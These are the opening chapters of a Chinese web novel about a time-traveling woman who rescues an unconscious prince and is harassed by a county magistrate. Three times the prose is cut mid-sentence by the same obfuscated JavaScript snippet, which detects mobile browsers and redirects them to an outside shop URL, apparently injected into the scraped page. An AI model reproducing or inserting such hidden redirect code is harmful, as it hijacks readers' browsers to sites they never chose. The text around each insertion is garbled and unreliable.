《救命!王爷追着我认错》 1. 第 1 章 “珏娘子又来买药了？” 桔珏点点头，从袖中拿出一块荷包，取出半粒银子放在牍板上。 伙计拿起戥子称量后，转身照方抓药。 五苓散并不昂贵，辨证加减后，用于排出体内寒湿之邪，畏寒等病症。上次的药吃过后，那人的状况有所好转。 这次在此基础上，又新增人参、附子，用于温补阳气，固本护元。 “避免因寒湿伤阳导致的体虚……”伙计念叨着介绍。 桔珏撑着脑袋，并不理会。午后的阳光倾泄在白皙的腕上，晃的人头脑发昏。 “只是这附子不能直接用，珏娘子知道为什么吗？” 桔珏微微一愣，不懂这伙计为何会搭上话，好在她素性秉实，老实回答。 “附子有毒，用前必得先煎半个时辰，去除毒性。” 嗯？伙计没想到她能答上来。 “你怎么连这个也不知道？”桔珏皱眉。 这家是镇上有名的医馆，抓药伙计却不识得药性，要是日后做了医者坐堂，胡乱开方给人吃错了药可怎么了得。 疑心渐起，桔珏随即拿过纸包的药剂，当着伙计的面拆开来，细细辨认。 不错，她点点头。 “你来。”桔珏指着人参道，“人参价贵，半点须子就值五钱，把这一钱人参换成五钱党参，效果也是一样。” ……伙计张了张嘴，没能说出话来。 怎么连药钱都斤斤计较，饶是天仙下凡的美貌，染上了这世俗市侩习气，也折损了大半。 桔珏不甚在意伙计嘟囔什么，她满心都是省下的半吊银子。 该怎么花。 桔珏是数月前穿过来的，徐家家境破败，一点花销都须计较小心。 不过好在家庭关系简单，长辈均已过世，唯一与原身有婚约的就是徐家大郎，他三年前去上京赶考，一直了无音讯。 想必是死了。 现今家里只留一个小叔子，两人关系并不亲近。 因此桔珏不怕有人觉出不对，把她当妖物烧了，日常行事并未刻意收敛。 不过也有一处着实令人烦扰。 不论桔珏刨地除草，亦或是捣衣清扫，只要她出门，就会有人跟在后面偷看，胆大者甚至会上前搭话。 “好卿卿，几日不见，怎得这样勤快。”一个白面书生模样的人，不知从哪出闪出来。 “看来徐家真真是没人了，要是跟了我，怎么舍得你做这些？” “嗯？”桔珏拿锄头的手一停。 青色衣衫衬得人玲珑有致，束袖一绑，露出光滑白皙的臂膀。劳作下，面前女子发髻松散，面颊潮红，额头间隐约可以看到汗珠。 那书生看得怔住了，不自觉上前拱手，“怎得？累着了？还是在生我的气？” 这下桔珏再傻，也明白过来。 想来原身终日无聊，在劳作之余，也会想找个男人玩玩。 同为女人，桔珏表示理解。怪不得小叔看自己的眼神总是怪怪的。 还以为他发现自己是穿来了的呢。 桔珏心下大安。见他还敢伸手，转身操起锄头照人头轮去。 “别别！”书生躲避不及，连声求饶，说着递上一个荷包以示诚意。 “给我的？”桔珏接过一看，是白花花的银子。 书生连连点头。 男人来钱就是快呐。见他怕了自己，桔珏点点头，收起荷包。 “这银子就算是精神损失费，下次再敢这样，见你一次打你一次。” 精神……损失费？ 在书生疑惑的目光中，桔珏越走越远。 只是她走着走着，担忧起来。 这次是个瘦弱的白净书生，那衣服只能勉强撑起肩膀部位，其余都荡在身上，一看就是外胚形，不足为惧。 若是下次遇见了强壮的，可如何是好？ 桔珏在现代主业是散打陪练，私下对中药食补也颇有研究。她还从未担忧过安全问题。 在此之前，桔珏见到的所有人都是讲道理的，说话细声细语。现在看来或许是忌惮自己么？ 桔珏一下子怀疑人生起来。 但她生性老实，没想太多，转而研究起来如何强身健体，试图保护自己。这具身体实在是太弱了，软绵绵的没有劲，看似纤细苗条，实则风一吹就到。 她有一种修为散尽的错觉，誓要恢复自己的巅峰时期！ 接下来，桔珏先拿着书生赔偿的银子买了好些肉来，每天早出晚归，浑身充满了干劲。训练强度拉满之下，渐渐的力气也上来了。 此外，桔珏还有一份意外之喜。 她发现这副身体恢复好的惊人，不论前天训练多么超标，肌肉多么酸痛，第二天都能恢复如初！ 真真是一个练武奇才！ 桔珏啧啧称奇。夜里她躺在床上，感受到核心强的可怕，才终于有了些许认同感。 从伙计手里接过药，桔珏走在街上。 她想好了，书生给的钱已经花得差不多了，这次省下的就去胡屠户家再称些猪骨边角料，要是有筋膜之类的就更好了，碎肉也是蛋白质，还便宜。 切大块后冷水下锅，扔些姜片，葱白直接煮，水开后捞出血沫后不用管，只将灶火弄小些，任其煮着，直到骨头缝的肉软烂的能撕下来，再连汤带肉一齐吃。 这都是喂养大的家猪，只需沾上丁点盐，就能唇齿留香。 桔珏这样想着，口齿生津，脚步快了几分。 “别来无恙啊。”眼见胡屠户的猪肉铺子就在眼前，却被人无端拦下。 一个身影挡在桔珏面前，玉骨扇子一开一合，露出眼带笑意的年轻公子。 来人身灼月白锦袍，料子是精细的织纹，袖口却绣着俗气的金线牡丹，露出里面的绫罗内衬。腰间还坠着晃眼的玉佩。 只差把县令公子四个大字贴在脸上。 桔珏一怒之下怒了一下。 “今日怎么有空出门？本公子可是好久没有见到你了。”说话间用扇子挑起桔珏的下巴。 桔珏不知该如何接话，“……确实。” “嗯？”他也不在乎桔珏的反应，自顾自指着药包问，“你生病了？怪不得这么久不见人，看你连精神头都不好了。” ……这药不是给她吃的。 但某人自问自答下，桔珏又觉得没必要开口。 “你怎么不告诉我？连自己都照顾不好，净让人担心！”他竟然生气了。 “回答我！” 桔珏想了想，干巴巴回答道，“……没有告知的义务。” 公子一听顿时噎住，过了好久才无奈道，“是我不好，但是没有办法，你我身份云泥之别，怎么可能娶你过门。” 原来是场分手戏码。 桔珏恍然大悟，低头道，“我知道。” 只见她黛眉微蹙，粉腮带愁，略有些苍白的唇色带着无尽委屈。这番容颜绝色，见之令人酥倒。 白衣公子轻咳一声以作掩饰，叹气道，“你一个小小女子，如何在世间立足？万事都要以保全自身为是。” 这话不错。桔珏点点头。 他见此从怀中掏出一张银票，放予桔珏手中， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17418430|200793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是药三分毒，依我之见，倒不如用买了燕窝炖煮，这样天长日久地喝下去，身子就会好起来。” 要买断感情，桔珏却没想到他出手这么大方，一时间不知该不该收下。 “是自愿赠与吗？”她谨慎起来。 “……自然。” 辞别刘公子后，桔珏揣好怀里的银票，站在猪肉铺前，说话都有了些许底气。 “跟往常一样，再给多我来些猪腱子肉。” “欸！又来了。”头缠粗布条，身材略有些发福的中年女子动作麻利，手中大刀被她使的熟练至极，三两下间，剁了肉臊子拿给上一个顾客，同时不忘招呼桔珏。 “娘子这是在哪发达了。”胡娘子拣了一块腱子肉，问道，“这块够不够？” 这块肥瘦相间，色泽红润，好是好，就是略大了些。 桔珏让其从中划开一半，笑道，“这太大了，一次吃不完，我下次再来买吧。” 这话听的胡娘子暗自称奇。这年头，荤腥难得，哪会有人家会把肉一下子吃完。可转念想到这姑娘家还有一个正值壮年的小叔子，心下叹服。 珏娘子真是大度，给小叔子吃肉从不计较，想必她自己只吃那些下水肉吧。 收完银两后，胡娘子从一旁拿起一块肝脏，悄声意有所指道，“咱们女人可得对自己好一点。” “这块肝脏，就算是我白赊给娘子的！” 今天真是撞邪了，桔珏瞪大眼睛，懵然谢过胡娘子。 或许是老天爷有眼，行好事，必得好报。桔珏很快想通，心情坦然。 路过城门时，还顺手给了乞儿几个铜板。 桔珏行好事的这番言论，并不是空口白话。因得她日日强身健体，田间劳作锻炼的缘故，正巧让她救下一个人。 人命关天，那得是多大的功德。 桔珏隔着衣物摸了摸银票，思索着日后拿着这钱，去镇上开个什么店铺，也算是有个长久的打算。 青衣女子一边思索着，一边走在乡间。 她原本身材纤细，一举一动仿若弱柳扶风。经过这段时间锻炼后，身姿愈发曼妙，骨肉匀停，走起路来莲步轻移，更添加几分灵动之美。 渐渐的，身后不知不觉间跟了许多人。 快到家门口，远远看见小叔站在门前。莫非是出什么事了？桔珏心里一急，步伐快了几分。 “我还以为你不回来了。”小叔似乎是哭过，言语间有些赌气。 不回来去哪儿呢？ 桔珏不解，细问之下才得知，小叔从村塾回来后找了她许久，到处不见踪迹后，居然以为她跟人跑了。 眼前的少年，站着比自己还高，却终究是个孩子。 见家里没人就慌了神。 “别怕。”桔珏放缓了声音，抬手笑道，“你看我买了什么回来。” 一双明眸似春水含情，笑意盈盈对着自己。饶是小叔年少，却也分得美丑，瞬间红了脸，扭过头去。 往昔的嫂子虽有些风情，可举手投足间似少自重。但如今不知是怎的，收起了先前做派，言行举止端庄自持，不知不觉间，让人想要与之亲近。 欸，自己错怪她了。 少年有些悔意，正想接过嫂子手里的东子，转眼看到自家门外，乌泱泱一片人影。 定是一路跟着嫂子回来的！ 他一下子黑了脸，一把抓起地上的石子朝门外砸去，人一下子散去大半。 怎么能怪嫂子，他又抓起一把石子，一边愤愤的想。 怪不得嫂子。 都是这些浪荡男人，不识礼仪检点！ 2. 第 2 章 这些人很快就被徐家二郎赶跑。 徐执节起身拍了拍身上的尘土，将手略搓了搓，心中还是有些不爽。 林桔珏貌美，这是十里八乡都知道的。 这些人跟苍蝇盯肉似的，恨不得一下子扑上来，要是她一时不查，被歹人蒙蔽，吃了亏，可如何是好？ 徐执节越想越不放心。 细细想来，嫂子也真是可怜，自幼时被人卖到这里，小小年纪就端茶倒水，察言观色，不敢有一丝疏忽。 好容易等到大哥学有所成，凭借自幼长大的情分，两人感情甚笃，自以为能有出头之日，谁知大哥一走就是五年。 没有丝毫音讯。 大哥真是心狠，徐执节叹了口气。 这种情况下，就算嫂子想要另觅良人，也无不妥。更何况嫂子从未跟大哥拜堂成亲。 不过是因着童养媳的身份，从小唤她一声嫂子罢了。 她若想另嫁也可，不过…… 想到屋里头那位，徐执节斟酌半天，走到后厨唤道，“嫂子？” 这一嗓子，喊得桔珏一个激灵，差点拿不住刀。 他何时这么称呼自己了？桔珏浑身别扭，打发道，“快些回屋去，等会吃饭叫你。” 说完起身走到后院，拿出一剂药倒入罐中，添了些水后放在炉子上慢火煮着。 很快，烟熏火燎的气味升起，隐隐带着一股苦涩。 转身却见小叔还杵在灶火口。他神色有异，似乎想要说这么却难以开口，连面皮都在隐隐抽动。 就是这副神色。 当初桔珏穿到这具身体没多久，他就天天这副模样，打量的人毛骨悚然。 莫非他在琢磨怎么把自己赶出家门，霸占家产？ 桔珏越想越害怕。可看了看屋内的破锅烂碟，又觉得不至如此。 如今她心内明了，知晓小叔这番作态是何缘由。 但自己并未做任何出格之事，不过收了些许银钱，可这都是他们自愿给的。 桔珏都确认过了。 ——日薄西山。 房屋内光线昏暗，桔珏将桌子搬到庭院，两人对坐相顾无言。 自己的厨艺好像越来越好了，桔珏夹起一块棒骨，不甚在意形象用手抓着，撕下一大块肉来。 “对了，那人今天还没有醒过来吗？”桔珏忽然想到。 徐执节摇头，朝屋内看了一眼后，放低声音说，“都三日了，再这么下去，搞不好要死在咱们这里。” “要不……不知不觉把他放回去。” 桔珏听的目瞪口呆。 “……我是说笑的！”徐执节干巴巴的笑道，“我非无知孩童，人命关天的事情岂能不懂？” “不要担心，不定明早就有人家来寻了。要是明日午时还不醒，我就去报官。” 桔珏听罢点点头，嘱咐道，“你跟他睡一屋，可得看顾着点，有什么情况就来叫我。” 徐执节连连应下。 “真是奇了，灌汤灌药倒是可以，怎么就是不见醒呢。” 桔珏不解。 照这样下去，人定是不行的，这可如何才好。桔珏皱起眉。 她救人时曾注意到，那人身着考究。 被捞上岸时，湿透的玄色衣衫紧裹身躯，绣纹若隐若现，即便是湿透也难掩华贵质地。头顶的玉冠更是精美，温润的美玉雕琢成祥云样式。 湿漉漉的发丝贴在面颊边，高挺的鼻梁挂着水珠，唇色惨白，却丝毫无损那惊人美貌…… 绝非寻常村落能绽放的花。 想他家里人此刻定是心急如焚，四处奔波寻人。桔珏本就是异世漂泊之人，对其境遇更添几分共情。唉，她明日就去镇上打听一番，问问是否有人家走失了亲人。 桔珏咀嚼着，顾自思索，连小叔说话都没听见。 “嫂子——” 这又给桔珏听的一个激灵，告饶道，“以后可千万别这么叫我了。” 徐执节暗自好笑。 自大哥走后他就没怎么叫过她嫂子了，后来林桔珏举止轻浮，他称嫂子时，多半语带嘲讽。可林桔珏却听不出来。现下他这声嫂子叫得真情实感，她反而不愿意了。 绿衣女子端坐在对位，面颊上因羞恼而泛起淡淡红晕，更显温婉。 他移开视线，放低声音道，“好好好，我不叫了。只是……不知你日后有何打算？” 打算？ 不等桔珏接话，小叔继续道，“近日之事，我想来心里总是担忧。你与兄长，始终未过明路，没有名分在身。我见你……我见你姿容绝美，每逢出门，众人都侧目跟随。” “如此美貌，孤身一人恐多有不便。我不欲阻你前路，可前几日救得男子，置于家中绝非长久之计。” “你若有他念，改嫁之事，我亦不阻。” 不知是不是小叔提前打好了草稿，说起来丝滑顺畅，听得桔珏一愣一愣的。 “改嫁？” 徐执节点点头，又提醒道，“要知道，男人没一个好东西。” 他身为男子，说起这番话来却是发自内心。 “世间男子，多薄情寡义，他们大多脏臭不堪，难寻真心之人。兄长一去，音讯全无，即便归来，也不知是何情形。你这番样貌，若是托付错人，定要受苦。” “改嫁之事，定要慎重。” 吓死她了，桔珏夹起最后一块腱子肉。 刚刚还以为小叔要自己改嫁给他呢。 桔珏长呼一口气，将肉送入口中。这绝非是她自我意识过胜，只是近日见多了这种情况，小叔又说得模棱两可，她会错意也是寻常。 解除误会后，细细回想了一番小叔的说辞。 虽突如其来没甚缘由，不过确实……男人嘛，脏脏臭臭是常有的。 像小叔这样白皙干净的才是反常。 桔珏这样想着，便照实说了出来。 “……你。”谁知小叔竟结巴起来。 年轻人，就是经不得逗弄。看他臊了，桔珏笑着把自己的碗筷拿去后厨。 后厨内，灶火早已熄灭，柴薪余尽。 炊煮的大锅还尚有余温，桔珏将碗筷泡进去，朝门外喊道。 “你快点吃，不然等会水凉了，你可不好洗碗了。” —— 次日清晨，桔珏抱着一个大木盆，健步如飞。 木盆里依稀可以看出昨日的青衫、还有一件玄色长衫，似乎是男人的衣物。那黑白交织的领口处，似有药渍。 行至河边，桔珏俯身蹲下，将玄色衣物抬手拿起，随手扔在河沿。 而后将水盛满木盆，抬手拿起青衫，轻轻揉搓。 她本来不必洗这么多衣服的。桔珏素手抬起，将青衣置于河水中细心漂洗。 穿过来后，桔珏每天砍柴做活，锻炼力气，出汗后洗衣更是勤快。每逢洗衣日，她都会把小叔的衣物挑出来，让他自己洗。 原身名声不好，这种事情可要细细分清才是。 只是昨日小叔不知是怎么了，在后院半天不出来。桔珏只好亲自给那人喂药。 屋内烛火闪烁，榻上斜倚的男子额间挂上一层薄汗，昏迷之中，双唇紧抿，惨白的面庞看起来无端有些可怜。 桔珏叹息一声，将人扶起，对着嘴的方向试图喂药。 男子牙关紧咬，汤药顺着嘴角流向下巴，最终那人的胸膛上，嚅嗫的湿痕一片。 见碗中大半汤药尽撒，桔珏一点怜香惜玉的心也无了，伸手撬开那人的嘴，将余下的汤药尽数灌了下去。 再起身时，指腹上留下了些许齿痕。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17418431|200793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >桔珏胡乱抹了抹，不甚在意。 只是她转身之际，身后的人似乎睁开了双眼，却又很快昏睡过去…… 就这样，桔珏今日洗衣的任务量增加。 “徐家娘子？”正烦闷间，一阵脚步声从身后响起。 转身望去，一个有些胖的中年男子站在河边，身上宽大的藏青色长袍，因肥胖的身躯略显紧绷。 这人脸上油光满面，眼神也不怀好意。 “远远看到就说是你，诶呦！这是给哪个情郎洗衣服呢？” 面对这人，桔珏连理会的想法也无，自顾自拿起棒槌，敲打在玄色衣服上。 偏生这人如苍蝇一般，在耳边喋喋不休。 “那日救下的就是你的老相好吧？嗨呀！我说呢，天天去买肉。” 桔珏心中烦躁更盛。 穿越前她看过不少小说，女主们一个个过得风生水起，动辄就是一段惊天地的恋爱，桔珏却觉得奇怪。具备良好伴侣品质的高质量男性，搁在现代都难找，更何况是封建时代？ 就说这村里，几亩良田，家资微薄的人都敢三妻四妾，并以此为荣。 桔珏对爱情不抱任何幻想。走神间，手中力道一个不备，手臂粗的棒槌从中裂开。 男人见此连连后退，心中暗恨。 别看林桔珏她现在风光。仗着年轻漂亮，对世俗琐事毫不留心，连最基本的人情世故都不放在眼里。嫌书生学子穷酸看不上眼，又厌恶樵夫伙计大老粗。听王婶说她还想去镇上开店，呸！ 照这样蹉跎下去，无夫无子的当了店主又如何？没有男人照顾，开枝散叶，将来无人养老送终，上香祭拜。 真不知道女店主老了以后怎么办！ 河沿边，落着一截棒槌。 棒槌段面暗含木刺，打起架来定能有所增益。可惜桔珏手都握紧了，那人却溜到林子里，没了影踪。 她叹了口气，也不管玄色衣服干净与否，随意在河水中漂洗几下，起身准备往回走。 其实桔珏年岁不大，现代也只是二十几岁，可流媒体发达，对于男女间推拉来回的各种手段，再熟悉不过。 格斗陪练的时候，就有男性教练跟学员搞暧昧，被原配找上门。那一天，拼着课时费不要，也要占据有利地形，冲到前排吃瓜。 不止如此，桔珏因战斗力强悍，还帮姐妹捉过奸。她认为，这些野男人，怎么都是管不住的。 可村对头家的王婶家，她在这方面就做的很好。 那小老头一有什么风吹草动，王婶总能立马发觉，双手叉腰站在门口，对着自家老汉一阵撕扯，边扇耳光，嚎叫个不停。 任谁看了不说一句家风严谨？ 可惜他们家的姑娘已经出阁，前不久婚配给了镇上开酒楼的陈公子，不然小叔子或许还能有些机会。 真是便宜陈公子了。桔珏有些可惜。 这样想着，晾好衣物后绕行到地里，准备拔点新鲜的瓜菜做个菜粥，舒缓营养，想来也适合病人喝。 拔完菜，远远就看见乌泱泱一片人，从村头过来。前面领头的人身着一身红袍大领的官服，坐在马上，好不威风。 直到人群行至身前，桔珏才发现后面还跟了许多佩刀的官兵。 乡间小路狭窄，那马上的红袍官员见到竟有人不避让，抬手一马鞭就杨了过来。 却在看清那女子的面容后，堪堪停住。 “何人在此拦路。”那官员言语傲慢。 桔珏见此，只好侧身踩在田沿，却还是不能够，索性直接起身站在田里。 “老爷，就是她救的人。”这会子功夫，有村民壮着胆子说道。 桔珏听罢，心底一沉。暗中察见气氛不对，不由得狐疑起来。 自己…… 不会救了个逃犯回来吧？ 3. 第 3 章 “还不快上前带路！” 一个年轻男子对着桔珏呵斥。他身着锦绣绸缎，显然跟那官员是一伙的。 桔珏自穿进来起，还未曾被人如此对待，可官兵们来势汹汹，只得低头应是，心中却犯起了疑。 自己救的那人，不会真的是个逃犯吧？ 桔珏不通这个时代的律法，但私藏逃犯，想来应该是重罪。她不经意向身后望去，却见佩剑的官兵就有十来个，更别提还有看热闹的村民。 快速估算了双方之间的战力后，桔珏不得不承认一点…… 自己赤手空拳，绝非那些佩刀官兵的对手。 可她也只是救人，事先并不知道那人底细，就算计较起来，也是不知者无过…… 话虽然如此，桔珏心里却还是没底。 很快，徐家近在眼前。 那徐家木门干净异常，没有沾染尘土，可周围墙角却杂草丛生，尽显荒芜。这番异常被那官员看在眼里，待他翻身下马后，斜眼看向桔珏。 这女子跟在队伍里，疾行之下，步伐显出些许疲态，却强撑着奋力相随。一路走来，早已气喘吁吁，头发粘在唇颊，更衬得她肌肤如雪，姿容秀丽。 之见她秀眉微蹙，眼中隐有惧怕之意，这番娇弱模样无端令人怜惜。 饶是他已年过半百，阅人无数，也不曾见过这样美貌的女子。 “你可识得本官？”官员放缓了声音。 “民女不知。”桔珏如实回答。 这时，那位官老爷身旁一年轻男子接过话头，“大胆刁妇！此乃县令许老爷，你还不速速跪下！” 桔珏咬了咬下唇，正要下跪间，却被许县令拦下。 “慢着——”许县令瞪了一眼那年轻男子，转身切入正题，“你救下的人现在何处？状况如何啊？” “回大人，那人现在侧屋，还在昏迷。” 许县令听罢给了一个眼神，就有几名医者步入侧屋。 桔珏见此松了一口气。 看县令那紧张的样子，进门第一件事就是派人诊治，想来这人决计不是逃犯了。 庭院内，官兵们不知从何处搬来一张藤椅，许县令缓身坐下，一边打量着这个小院。 与门外杂草丛生不同，庭院内花草修剪得当，烟火气十足，西侧还晾晒着衣物—— 只见一件青色长衫和玄色衣物就这样大剌剌挂着，那暗纹蟒袍皱皱巴巴，还在不停滴水。 县令看得嘴角抽搐。 见到蟒纹后他心内了然，却还是问道，“你救的是何许人？” 桔珏摇头。 “你可知，你救下了一位贵人？”许县令面容和善，“本官只是例行询问，快将救人的经过，细细道来，不要有任何遗漏。” 贵人？ 桔珏将前因后果讲了一遍后，许县令却不甚在意，转而问道，“你救人时，可曾注意这位贵人身上物件掉落？” “要是有隐瞒……” 桔珏心中叫苦，连声否认，“回大人，民女不曾见过什么物件。” 许县令没再接话，只端坐在藤椅上闭目养神。 不多时，见医者出来，忙起身相迎，低语一番后，这才重新回到藤椅上。 “给我搜！”县令轻轻说。 ？ “大人！”桔珏难以置信，只得跪下。 她自认回答还算谨慎，所作所为无一不妥，却不知何以被当成了待审犯人？ 徐家大门外，挤满了村民，隔墙看见官差果然动起手来，一个个窃窃私语。 “这是怎么回事？那人是逃犯吗？” “放屁！是逃犯早就抓了，依我看呐，她定是跟人无媒苟合，被人报了官了。” “真的假的？我看她平日眼高于顶，应该不会吧。” “谁说的，她以前还勾引过我呢！” …… 纤长的睫毛挡住了眼里的屈辱，桔珏双手紧握跪在地上，指甲几乎嵌进掌心。 她总算明白，在这里，道理从来都由权势者定夺。无论她是否清白，回答是否得体。 只要这位县令想，便能随意定她的罪。 官差们翻箱倒柜，被子从榻上一把扯下，柜子里胡乱翻找，茶椅板凳东倒西歪，后厨还远远传来砸碗砸碟的声音…… 良久，有官差陆陆续续出来，向县令禀报。 “大人，没有可疑之处。” ——直到最后一个官差出来，“大人！”他手中捏着一张纸，小跑着试图邀功。 “大人请看。” 桔珏记得，那是白衣公子给自己的银票。 还未多想，许县令拍身而起，“好啊！”说罢接过这张银票。 细细看过后，他脸色越发难看。 “大人，小小村妇怎么会有银票？这定是咱们要找的那个。”青年男人打了个手势，立马有两名官差上前，死摁住桔珏的肩膀。 “不如立刻禀告知府大人，再做计较？” “——住嘴！” 许县令脸色铁青，手指微微颤抖，不可置信的看着银票的落款。 许须熙，正是他的二子。 逆子！ 这个逆子！怎么会跟村妇有瓜葛！许县令身体一个不稳，复而坐在藤椅上。 青年男人察出不对，忙上前为其顺背。 许县令耸达眼睛，向下看去。那女子身量纤纤，虽身着粗布麻衣，也难掩其姿色。 “接下来本官问你，你如实回答，若有隐瞒……”许县令眯起眼睛，“你知道后果。” “是，大人。”桔珏咬牙。 “王……你救的人，中途可曾醒来过？” “不曾。” “自救人那日算起，到今日是第几天？” “第四天。” “你救人之后为何不报官？”许县令话峰一转。 “我……民女未曾想到这一点。” “未曾想到？”许县令冷笑一声，扬了扬手里的银票，“你分明是别有居心！” 话音刚落，桔珏被狠狠按在地上，肩膀处传来剧痛。 她心下明白，许县令见到银票后心中迁怒，现下借着筏儿，拿自己出气！ 明晃晃的佩剑已然出鞘。 桔珏知道辩解无用，只得扣头告饶，“大人恕罪！” “贵人昏迷不醒，命悬一线。民女便日日煎煮拿药，事事亲力亲为，一心只保住他的性命，实在顾得不其他。” 还敢回嘴？ 这贱人自恃有恩，竟如此放肆！ 适才见到银票落款，许县令早对其恨得牙根痒痒。今日非要治她个救治不力的罪名！ 也给那位插手徐洲事务的王爷一个下马威。 许县令眼神狠厉，正要下令用刑，院门外忽然传来一阵急促的马蹄声。 一群身着玄色劲装的卫士鱼贯而入，个个腰佩鎏金令牌，鹰隼般的目光扫过庭院，最后落在许县令身上。 看清来人后，许县令脸色煞白，忙起身拱手行礼，“不知是亲卫大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17418432|200793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人驾临，下官许悰，有失远迎，还望恕罪。” 为首之人并不理会，只回头道，“备好轿辇，送王爷回府！” “是！” 这番作态，竟是全然没把他这个县令放在眼里。 许县令心里憋屈，却不敢表露半分，挤出笑脸道，“下官找到王爷，还未来得及回禀，立马便赶过来了。只是王爷伤势未痊，仍在屋内静养……” “不必多言。”为首之人直接打断。 “是是，救人要紧。只是王爷伤势未愈，若贸然移动……” 话音未落，那人便拔出刀来。 “王爷身份尊贵，岂容你在此喧哗？你若有心，还是想想怎么向王爷请罪为是。” 那人话中有话，许县令听得面色发白，额头冷汗涔涔，只得眼睁睁看着他们将人带走。 待马蹄声渐渐远去，才敢瘫坐在藤椅上。 惶惶不安之时，忽瞥见跪在一侧的桔珏，顿时两眼放光，心头盘算起来。 这女子生的极美，就算放在整个徐州也难寻第二人。她又救下了王爷…… 他越想越觉得这是条万全之策，亲自上前将人扶起，把银票塞回桔珏手中。 “姑娘救人，此乃义举，该当有赏！” “这样，随本官一齐回镇上，待王爷醒来想要赏你些什么，也好方便传唤。 桔珏心里一万个不愿意，却又无法。 只得随他而去。 . 一到镇上，桔珏被县令安排到一间客栈。 名为逸间客栈…… 桔珏无意中听伙计说起，这客栈还是县令夫人娘家的产业，当年夫人全家托举县令老爷科举。 可惜后来止步于乡试，只好为其捐了这么个官职。 “姑娘你看，咋们这儿处处都是讲究。”伙计十分殷勤，说起客栈的好处来可谓是滔滔不绝，“这珍馐都是御厨传人新手烧制，梁上用的也都是百年以上的名木。” 桔珏看不出木头的区别，只觉得粗大。 “还有房间里的被褥，姑娘你一模就知道了，手感都不一样……” 桔珏点头，心里却不以为意。她在现代什么样没见过？直到后来在客栈如厕后，才心中暗服。 确实有品。 只是不知道县长双亲，他们可有住上这么好的地方？ 就这样岁月静好的呆了四五日后，桔珏想要回去，却被官兵拦住，只得继续住下。 房间内，黄花梨桌子上，放置着一面铜镜。 镜中女子柳眉似蹙非蹙，双目含情，琼鼻秀挺。水葱似的手指，轻持花钿贴在额间。微微侧首，耳垂晶莹流转，更显得肌肤细腻。 磨好的铜镜，看起来清晰异常。 桔珏终于知道村民为何侧目跟随了，她端坐在镜前，心中烦忧。 只待王爷醒来，县令便要将自己推过去了。 自己这番样貌，王爷没看上便罢，万一看上了……纠缠起来可该如何是好？ 经过县令一事，桔珏虽勉强周旋得当，却真切体会到这古代的规矩森严、人微言轻。 一个县令都尚且如此，更何况是王爷？ 可王爷毕竟是王爷，见惯了金枝玉叶、名门闺秀，未必会瞧得上她。桔珏自我安慰道。 然目光落在铜镜上，这点自我开解又瞬间崩塌，重新烦忧起来。 “珏娘子！” 正思忖间，忽然有人叩门，说出了桔珏最担心的事情。 “珏娘子，王爷有请。” 4. 第 4 章 “珏娘子，王爷已于明日巳时，在清风阁设下宴席，特命小的来请您过去。” 小厮躬身传话，语气算不上恭敬。 “同行的还有县令知府。车马小人已经备下，还请娘子明日按时赴宴。” 知府县令？ 桔珏咬了咬唇，出声应下。 是夜。 穿过雕花实木屏风，层层叠叠的华帐下，是精致绵柔的被料，榻上之人辗转反侧间，被料便顺着肌肤滑落。 桔珏翻来覆去，难以入眠。 她一闭眼，就会出现一把寒光逼人的长剑，直奔脖颈而来。 这一夜，她睡得并不安稳。 次日清晨，桔珏早早醒来，挽上已婚妇人的发髻，穿上寻常的粗布青衫。素手一翻，轻柔地拉平衣角，系上围裳后将黄-色丝绦掏出。 那丝绦末端磨损明显，衣衫上没有任何绣纹花样。头上也只用一根木簪固定，还褪去了耳饰，可谓是朴素至极。 想来应是无碍了。 ——直到不经意间看到那面铜镜。 镜中人眉眼清丽，杏眼含水，顾盼间自有一种韵味，衬得那身粗布青衫反倒成了最妥帖的底色。 那清丽脱俗的模样，恼得桔珏反手将铜镜扣上。 “今日怎么这么早？” 徐执节推门而入，看到这美人嗔怒的样子，愣声问道。 桔珏也不回答，上前接过小叔手里的早茶。 是油豆皮中包了芸豆、红豆、糙米混合的饭，加了油条碎，口感丰富，上面还盖了一层勾了芡的豆腐卤汁。 混合外层的油豆皮，满口咸香。 “怎么天天买这家？”桔珏咬了一口，见徐执节手里没有，疑惑道，“你的饭呢？” “我在家时已经吃了。”徐执节挠了挠头，“你之前不是说这家好吃吗？我便记下了。” 桔珏点点头。 当日小叔因去上私塾，没有撞见许县令，等回来后当即去镇上寻她。两人见面后，桔珏本想留人住下，可客栈伙计却直摇头，声称县令只吩咐了一人，不能再加，只得作罢。 徐执节又不放心，日日来回跑，顺便给桔珏带饭。 劝告无解后，桔珏也只由着他了。 吃过饭后，桔珏拿出手帕擦了擦嘴，抿上一口茶，将王爷邀约告知。 徐执节听后沉默了一阵。 “这邀约……嫂子还是不要去的好。” 